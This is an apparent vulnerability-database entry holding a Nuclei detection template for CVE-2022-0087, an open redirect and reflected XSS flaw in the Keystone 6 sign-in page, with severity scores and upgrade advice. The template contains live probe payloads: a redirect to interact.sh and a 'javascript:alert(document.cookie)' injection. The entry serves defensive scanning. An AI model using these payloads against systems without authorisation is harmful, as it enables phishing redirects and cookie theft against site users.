Keystone 6 Login Page - Open Redirect and Cross-Site Scripting

2023-11-0610:22:24

ProjectDiscovery

github.com

cve

keystone

cross-site scripting

node.js

vulnerability

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

41.6%

JSON

On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.

id: CVE-2022-0087

info:
  name: Keystone 6 Login Page - Open Redirect and Cross-Site Scripting
  author: ShivanshKhari
  severity: medium
  description: |
    On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.
  remediation: |
    Please upgrade to @keystone-6/auth >= 1.0.2, where this vulnerability has been closed. If you are using @keystone-next/auth, we strongly recommend you upgrade to @keystone-6
  reference:
    - https://huntr.com/bounties/c9d7374f-2cb9-4bac-9c90-a965942f413e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0087
    - https://github.com/keystonejs/keystone/commit/96bf833a23b1a0a5d365cf394467a943cc481b38
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0087
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:keystonejs:keystone:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 2
    vendor: keystonejs
    product: keystone
    framework: node.js
  tags: cve,cve2022,keystone,redirect,xss,node.js,keystonejs

http:
  - method: GET
    path:
      - "{{BaseURL}}/signin?from=https://interact.sh"
      - "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

      - type: word
        part: body
        words:
          - "alert(document.cookie)"
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